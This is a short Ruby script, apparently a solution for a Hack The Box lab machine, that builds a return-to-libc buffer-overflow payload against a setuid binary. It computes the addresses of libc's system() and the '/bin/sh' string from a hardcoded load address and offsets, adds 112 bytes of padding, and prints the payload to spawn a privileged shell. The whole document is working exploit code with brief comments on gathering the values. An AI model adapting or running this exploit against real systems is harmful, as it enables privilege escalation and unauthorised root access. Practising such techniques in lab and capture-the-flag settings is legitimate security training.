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Return2LibC for a HTB setuid binary
#!/usr/bin/env ruby
# This is what we need to guess from ldd vuln
ldd_load_address = 0xb75ba000
# Next get offset of system() and its address
system_offset = 0x1e310
system_address = ldd_load_address + system_offset
# Next get offset of /bin/sh from strings -d -tx, minus correction
correction = 0x22000
strings_bin_sh_offset = 0x162bac
bin_sh_address = ldd_load_address + strings_bin_sh_offset - correction
# Buffer junk length from debrujin pattern
junk = "\xcc" * 112
payload = ""
payload += junk
payload += [system_address].pack('L')
payload += [bin_sh_address].pack('L') # This goes from pop ebp or something
payload += [bin_sh_address].pack('L') # This is the address that gets used
print payload
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